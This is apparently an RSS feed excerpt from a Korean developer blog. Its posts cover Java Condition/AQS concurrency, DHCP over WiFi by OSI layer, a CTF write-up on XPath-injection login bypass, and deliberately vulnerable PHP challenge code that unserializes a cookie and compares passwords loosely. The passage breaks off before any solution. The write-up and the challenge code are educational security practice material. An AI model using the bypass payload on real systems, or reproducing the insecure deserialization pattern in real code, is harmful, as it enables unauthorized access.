&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Condition (Java Platform SE 8 )&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Condition factors out the Object monitor methods (wait, notify and notifyAll) into distinct objects to give the effect of having multiple wait-sets per object, by combining them with the use of arbitrary Lock implementations. Where a Lock replaces the use&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.oracle.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  주요 기능&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ void await() - throws InterruptedException&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 스레드를 대기시키고 현재 락을 해제합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 스레드가 signal() 또는 signalAll()을 호출하거나 스레드가 인터럽트될 때까지 대기합니다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️&lt;/b&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;boolean await(long time, TimeUnit unit) throws InterruptedException&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지정된 시간 동안 현재 스레드를 대기시킵니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;nanos를 붙이면 나노 초 단위로 지정할 수 있습니다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️&amp;nbsp;&lt;/b&gt;&lt;b&gt;void signal() &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Condition에서 대기 중인 스레드 중 하나를 랜덤하게 깨웁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 공정 모드인 경우 FIFO를 따릅니다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️&amp;nbsp;&lt;/b&gt;&lt;b&gt;void signalAll()&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Condition에서 대기 중인 모든 스레드를 깨웁니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt; AbstractQueuedSynchronizer (AQS): 동기화 장치의 기반 프레임워크&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ReentrantLock, CountDownLatch, ReentrantReadWriteLock 등 자바의 동기화 컴포넌트들이 이 AQS를 기반으로 구현되어 있으며 내부적으로 FIFO(선입선출) 큐를 사용하여 락을 획득하지 못한 스레드들의 대기열을 관리합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 state라는 하나의 정수형 변수를 통해 동기화 상태(예: 락이 획득되었는지, 세마포어의 허용 개수 등)를 표현 및 관리합니다.&lt;/p&gt;
&lt;figure id=&quot;og_1752080271564&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;AbstractQueuedSynchronizer (Java Platform SE 8 )&quot; data-og-description=&quot;Attempts to acquire in exclusive mode. This method should query if the state of the object permits it to be acquired in the exclusive mode, and if so to acquire it. This method is always invoked by the thread performing acquire. If this method reports fail&quot; data-og-host=&quot;docs.oracle.com&quot; data-og-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/AbstractQueuedSynchronizer.html&quot; data-og-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/AbstractQueuedSynchronizer.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/AbstractQueuedSynchronizer.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/locks/AbstractQueuedSynchronizer.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;AbstractQueuedSynchronizer (Java Platform SE 8 )&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Attempts to acquire in exclusive mode. This method should query if the state of the object permits it to be acquired in the exclusive mode, and if so to acquire it. This method is always invoked by the thread performing acquire. If this method reports fail&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.oracle.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  동기화 모드&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AQS는 두 가지 기본 동기화 모드를 지원합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;독점 모드 (Exclusive Mode) :: writeLock
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한 번에 오직 하나의 스레드만 락을 획득할 수 있는 모드입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;공유 모드 (Shared Mode) :: readLock
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;여러 스레드가 동시에 락을 획득할 수 있는 모드입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;  동작 원리&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AQS를 상속받는 클래스는 아래 추상 메서드를 재정의하여 동기화 로직을 구현합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ protected boolean tryAcquire(int arg)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독점 모드에서 락을 획득하려는 시도를 하며 성공하면 true 실패하면 false를 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 메서드 내에서 state 변수를 조작하여 락 획득 여부를 결정합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ protected boolean tryRelease(int arg)&lt;/b&gt; &lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독점 모드에서 락을 해제하려는 시도를 하며 성공하면 true 실패하면 false를 반환합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ protected int tryAcquireShared(int arg)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유 모드에서 락을 획득하려는 시도를 하며 음수 값은 실패, 0은 획득 성공 (더 이상 공유 획득 불가능), 양수 값은 획득 성공 (추가 공유 획득 가능)을 의미합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ protected boolean tryReleaseShared(int arg)&lt;/b&gt; &lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공유 모드에서 락을 해제하려는 시도를 하며 해제 후 추가 대기 스레드를 깨울 수 있으면 true 아니면 false를 반환합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;✔️ protected boolean isHeldExclusively()&lt;/b&gt; &lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 스레드가 독점적으로 락을 보유하고 있는지 여부를 반환합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AQS를 직접 사용하여 동기화 장치를 만들 때 위의 메서드를 구현하여 state 변수와 획득/해제 로직을 정의하고 &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이렇게 정의된 로직을 바탕으로 스레드 큐잉(queuing), 대기(waiting), 신호(signaling) 등 복잡한 부분들을 자동으로 처리해줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=gTkvX2Awj6g&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/eB0M0/hyZjd50wte/d4KiFRy61ZfEqvh6oNjHTk/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720,https://scrap.kakaocdn.net/dn/83aue/hyZf0UMrN4/wSXluHyznUr19TBSNhAiI1/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=0_0_1280_720&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;BJ.9 스핀락(spinlock) 뮤텍스(mutex) 세마포(semaphore) 각각 특징과 차이 설&quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/gTkvX2Awj6g&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/JAVA</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/315</guid>
      <comments>https://jangto.tistory.com/entry/javautilconcurrentlocks#entry315comment</comments>
      <pubDate>Thu, 17 Jul 2025 18:06:29 +0900</pubDate>
    </item>
    <item>
      <title>WiFi 접속 시 DHCP 작동 원리와 OSI 7계층 흐름</title>
      <link>https://jangto.tistory.com/entry/WiFi-%EC%A0%91%EC%86%8D-%EC%8B%9C-DHCP-%EC%9E%91%EB%8F%99-%EC%9B%90%EB%A6%AC%EC%99%80-OSI-7%EA%B3%84%EC%B8%B5-%ED%9D%90%EB%A6%84</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;WiFi에 접속하고 웹사이트에 접속하는 과정은 다음과 같은 단계들을 거칩니다.&lt;/p&gt;&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. WiFi 접속&lt;/h2&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 WiFi에 접속하게 되면 어떻게 사설 IP를 부여 받는지 설명합니다.&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-1. DHCP Discover&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 WiFi에 연결을 시도하면 가장 먼저 자신에게 할당될 IP 주소를 찾기 위해 DHCP Discover 메시지를 브로드캐스트(Broadcast) 방식으로 전송하게 되는데 이 과정을 아래에서 OSI 계층 모델을 통해 이해하기 쉽게 살펴 보겠습니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4️⃣ Transport Layer (4계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP는 빠른 요청과 응답이 중요하기 때문에 UDP를 사용합니다.&lt;br&gt;DHCP Discover 메시지를 보내는 사용자는 UDP 68번 포트를 사용하고 이 메시지를 수신할 DHCP 서버를 위해 UDP 67번 포트를 목적지로 지정합니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;이 포트들은 IANA(국제 인터넷 표준화 기구)가 지정한 표준 약속입니다.&lt;/li&gt;&lt;li&gt; &amp;nbsp;DHCP는 BOOTP 프로토콜을 확장한 형태이며 BOOTP 역시 UDP 기반으로 동작합니다.&lt;/li&gt;&lt;/ul&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3️⃣&amp;nbsp;Network Layer (3계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 아직 IP를 할당 받지 못했기 때문에 해당 네트워크내에 있는 특정 서버와 통신을 할 수 없기 때문에 출발지 IP를 0.0.0.0(나는 IP가 없어요.)으로 설정, 도착지 IP를 255.255.255.255(네트워크에 내 모든 기기)로 설정하여 IP 계층 브로드캐스트(Broadcast) 방식으로 메시지를 보내게 됩니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;이 과정의 목적은 네트워크 내에 존재하는 DHCP 서버에게 &quot;제가 사용할 IP 주소와 관련 네트워크 설정(서브넷 마스크, 게이트웨이, DNS 서버 등)을 요청합니다.&quot;라고 알리는 것입니다.&lt;/li&gt;&lt;/ul&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2️⃣&amp;nbsp;DataLink Layer (2계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;실제 하드웨어 주소인 MAC 주소를 사용하여 통신하며 이 과정은 2계층 장비인 스위치의 핵심적인 역할 덕분에 가능합니다.&lt;br&gt;이 때 출발지 MAC 주소는 사용자 자신의 고유한 MAC 주소로 설정, 목적지 MAC 주소는 FF:FF:FF:FF:FF:FF으로 설정하게 됩니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;FF:FF:FF:FF:FF:FF는 이더넷에서 가능한 유일한 브로드캐스트 MAC 주소입니다.&lt;/li&gt;&lt;li&gt;DHCP 서버는 출발지 MAC 주소를 보고 응답을 보내게 됩니다.&lt;/li&gt;&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;2계층 장비인 스위치는 목적지 MAC 주소가 FF:FF:FF:FF:FF:FF로 설정된 프레임을 받으면 플러딩(Flooding)을 수행하여 지금 들어온 포트(사용자)를 제외한 나머지 포트(그외 기기)에게 데이터 프레임을 보내주게 됩니다.&lt;/p&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-2. DHCP offer&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP 서버는 사용자로부터 DHCP Discover 메시지를 수신한 후 해당 요청에 대한 응답으로 DHCP Offer 메시지를 브로드캐스트(Broadcast) 방식으로 전송하게 되는데 이를 OSI 계층 모델을 통해 쉽게 이해할 수 있도록 살펴보겠습니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4️⃣&amp;nbsp;Transport Layer (4계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP 서버는 사용자에게 DHCP Offer 메시지를 응답으로 보낼 때 자신의 UDP 67번 포트에서 사용자의 UDP 68번 포트로 전송합니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3️⃣&amp;nbsp;Network Layer (3계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 여전히 IP 주소를 할당받지 못한 상태이기 떄문에 DHCP 서버는 도착지 IP를 255.255.255.255로 설정, 출발지 IP는 DHCP 서버의 IP로 설정하여 IP 계층 브로드캐스트 방식으로 메시지를 전송합니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2️⃣&amp;nbsp;DataLink Layer (2계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자의 MAC 주소를 정확히 알고 있으므로 DHCP 서버는 출발지 MAC 주소는 DHCP 서버의 MAC 주소로 설정, 도착지 MAC 주소를 사용자의 MAC 주소로 설정하게 됩니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;이런 방식은 유니캐스트(Unicast) 전송 방식이라고 합니다.&lt;/li&gt;&lt;li&gt;IP 계층은 브로드캐스트(Broadcast) &amp;amp; MAC 계층은 유니캐스트(Unicast)혼합 전송 방식이 사용됩니다.&lt;/li&gt;&lt;/ul&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-3. DHCP Request&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 DHCP 서버로부터 받은 DHCP Offer 메시지를 검토한 후 해당 제안을 수락하겠다는 의미로 DHCP Request 메시지를 전송하게 되는데 이 과정을 아래에서 OSI 계층 모델을 통해 이해하기 쉽게 살펴 보겠습니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4️⃣&amp;nbsp;Transport Layer (4계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 DHCP Request 메시지를 보낼 때 자신의 UDP 68번 포트에서 DHCP 서버의 UDP 67번 포트로 전송합니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3️⃣&amp;nbsp;Network Layer (3계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;사용자는 여전히 IP 주소를 확정적으로 할당받지 않은 상태이기 때문에 출발지 IP는 0.0.0.0 도착지 IP는 255.255.255.255로 설정하여 IP 브로드캐스트 방식으로 전송합니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;DHCP Request 내부에는 어떤 DHCP 서버의 제안을 수락하는지 나타내기 위해 서버 식별자(Server Identifier) 필드가 존재하며 DHCP 서버가 여러개 존재할 수 있기 때문에 여기에는 수락하고자하는 특정 DHCP 서버의 IP 주소가 포함됩니다.&lt;/li&gt;&lt;/ul&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2️⃣&amp;nbsp;DataLink Layer (2계층)&lt;/b&gt;&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;출발지 MAC 주소는 사용자의 MAC 주소, 목적지 MAC 주소는 FF:FF:FF:FF:FF:FF로 설정하여 브로드캐스트(Broadcast) 방식으로 전송합니다.&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;사용자는 이미 선택한 DHCP 서버의 MAC 주소를 알고 있으면서 왜 브로드캐스트 방식으로 전송할까?&lt;br&gt;&lt;br&gt;DHCP Discover 요청을 보냈을 때 네트워크 상의 모든 DHCP 서버가 응답할 수 있으며 사용자는 이 중 하나의 Offer만 선택하게 되며 DHCP Request를 브로드캐스트로 보내면 선택되지 않은 다른 DHCP 서버들도 이를 수신하고 자신들의 응답이 거부되었음을 인식하여 해당 응답을 무효화 처리하게 됩니다.&lt;br&gt;&lt;br&gt; &amp;nbsp;일반적으로는 가장 빨리 온 Offer를 선택하지만 이는 사용자의 운영체제 수준 혹은 DHCP 클라이언트 소프트웨어 수준의 로직 구현에 따라 달라질 수 있습니다.&lt;/blockquote&gt;&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-4. DHCP Acknowledge&lt;/h3&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;선택된 DHCP 서버는 해당 요청을 최종적으로 승인하는 DHCP Acknowledge(Ack) 메시지를 전송하게 되는데 이 메시지를 통해 IP 주소를 비롯한 네트워크 설정 정보가 사용자에게 확정적으로 할당되며 WiFi 네트워크 사용이 가능해집니다.&lt;br&gt;해당 과정을 OSI 계층 모델을 통해 이해하기 쉽게 살펴 보겠습니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;4️⃣&amp;nbsp;Transport Layer (4계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP 서버는 자신의 UDP 67번 포트에서 사용자의 UDP 68번 포트로 DHCP Ack 메시지를 전송합니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3️⃣&amp;nbsp;Network Layer (3계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP 서버는 출발지 IP를 자신의 IP 주소, 도착지 IP는 사용자에게 할당된 IP 주소로 설정하여 유니캐스트(Unicast) 방식으로 메시지를 전송합니다.&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;이 시점에서는 사용자는 아직 해당 IP를 공식적으로 할당 받지 못한 상태입니다.&lt;/li&gt;&lt;/ul&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;아직 공식적으로 할당 받지 못한 IP로 보내면 사용자는 받을 수 있을까?&lt;br&gt;&lt;br&gt;DHCP offer 시점에서 임시로 사용자의 Network Layer는 임시 IP를 알고 있기 때문에 요청은 불가능 하지만 응답은 가능합니다.&lt;/blockquote&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2️⃣&amp;nbsp;DataLink Layer (2계층)&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;출발지 MAC 주소는 DHCP 서버의 MAC 주소, 목적지 MAC 주소는 사용자의 MAC 주소로 설정하여 유니캐스트(Unicast) 방식으로 통신을 합니다.&lt;/p&gt;&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; &amp;nbsp;추가 참고 사항&lt;/b&gt;&lt;/h4&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;DHCP Acknowledge에서 할당 하는 정보 중 리스 타임(Lease Time)이 있는데 이 타임이 만료되기 전 사용자는 DHCP Request를 다시 요청해서 IP 갱신을 요청할 수 있습니다.&lt;/p&gt;</description>
      <category>Development/개념 및 이론</category>
      <category>DHCP</category>
      <category>MAC</category>
      <category>Network</category>
      <category>osi</category>
      <category>wifi</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/314</guid>
      <comments>https://jangto.tistory.com/entry/WiFi-%EC%A0%91%EC%86%8D-%EC%8B%9C-DHCP-%EC%9E%91%EB%8F%99-%EC%9B%90%EB%A6%AC%EC%99%80-OSI-7%EA%B3%84%EC%B8%B5-%ED%9D%90%EB%A6%84#entry314comment</comments>
      <pubDate>Thu, 17 Jul 2025 16:13:07 +0900</pubDate>
    </item>
    <item>
      <title>XPath injection - Authentication</title>
      <link>https://jangto.tistory.com/entry/XPath-injection-Authentication</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 DOM 기반의 XML 인증 로직에서 발생할 수 있는 XPath Injection 취약점을 활용하여 인증 우회를 수행하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버는 내부적으로 PHP의 SimpleXMLElement::xpath() 메서드를 이용해 XPath 표현식을 평가합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DOM 방식은 XML 전체를 메모리에 적재한 뒤 XPath를 사용하여 특정 노드를 탐색하며 이때 사용자 입력이 XPath 쿼리에 삽입되는 구조라면 Injection이 가능합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;동작 방식 유추&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류 메시지 및 함수 이름을 통해 내부적으로 사용된 XPath 구문은 다음과 유사할 것으로 추정됩니다:&lt;/p&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;xpath(&quot;//user[username/text()='$id' and password/text()='$pw']&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구조에서 사용자 입력인 $id 또는 $pw가 적절한 escaping 없이 XPath 구문에 직접 삽입된다면 조건 조작이 가능합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;풀이 초기 payload&lt;/h2&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;ID       : John' or 1=1 --
Password : 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 입력은 실패했으며 아래와 같은 오류를 출력했습니다.&lt;/p&gt;
&lt;pre class=&quot;dts&quot;&gt;&lt;code&gt;SimpleXMLElement::xpath(): Invalid predicate in /challenge/web-serveur/ch23/index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;에러는 XPath 문법 오류로 주입한 쿼리가 파싱되지 못했음을 의미합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XPath는 SQL과 달리 문자열 비교에 '1'='1' 같은 구조를 사용하며 논리 연산자는 or, and로 직접 표현할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 바탕으로 조건을 강제로 참으로 만들기 위해 다음 payload를 구성했습니다.&lt;/p&gt;
&lt;pre class=&quot;groovy&quot;&gt;&lt;code&gt;ID       : John' or ''='
Password : 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XPath로 변환될 경우 아래와 같이 해석됩니다.&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;//user[username/text()='John' or ''='' and password/text()='1']
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;or ''='' 는 항상 참(true) 이므로 password가 무시되며 우회됩니다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/313</guid>
      <comments>https://jangto.tistory.com/entry/XPath-injection-Authentication#entry313comment</comments>
      <pubDate>Sat, 12 Jul 2025 19:18:55 +0900</pubDate>
    </item>
    <item>
      <title>PHP - Serialization</title>
      <link>https://jangto.tistory.com/entry/PHP-Serialization</link>
      <description>&lt;h1&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;✅ Source Code&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;?php
define('INCLUDEOK', true);
session_start();

if(isset($_GET['showsource'])){
    show_source(__FILE__);
    die;
}

/******** AUTHENTICATION *******/
// login / passwords in a PHP array (sha256 for passwords) !
require_once('./passwd.inc.php');

if(!isset($_SESSION['login']) || !$_SESSION['login']) {
    $_SESSION['login'] = &quot;&quot;;
    // form posted ?
    if($_POST['login'] &amp;amp;&amp;amp; $_POST['password']){
        $data['login'] = $_POST['login'];
        $data['password'] = hash('sha256', $_POST['password']);
    }
    // autologin cookie ?
    else if($_COOKIE['autologin']){
        $data = unserialize($_COOKIE['autologin']);
        $autologin = &quot;autologin&quot;;
    }

    // check password !
    if ($data['password'] == $auth[ $data['login'] ] ) {
        $_SESSION['login'] = $data['login'];

        // set cookie for autologin if requested
        if($_POST['autologin'] === &quot;1&quot;){
            setcookie('autologin', serialize($data));
        }
    }
    else {
        // error message
        $message = &quot;Error : $autologin authentication failed !&quot;;
    }
}
/*********************************/
?&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;style&amp;gt;
label {
    display: inline-block;
    width:150px;
    text-align:right;
}
input[type='password'], input[type='text'] {
    width: 120px;
}
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Restricted Access&amp;lt;/h1&amp;gt;

&amp;lt;?php

// message ?
if(!empty($message))
    echo &quot;&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;$message&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&quot;;

// admin ?
if($_SESSION['login'] === &quot;superadmin&quot;){
    require_once('admin.inc.php');
}
// user ?
elseif (isset($_SESSION['login']) &amp;amp;&amp;amp; $_SESSION['login'] !== &quot;&quot;){
    require_once('user.inc.php');
}
// not authenticated ? 
else {
?&amp;gt;
&amp;lt;p&amp;gt;Demo mode with guest / guest !&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;superadmin says :&amp;lt;/strong&amp;gt; New authentication mechanism without any database. &amp;lt;a href=&quot;index.php?showsource&quot;&amp;gt;Our source code is available here.&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;

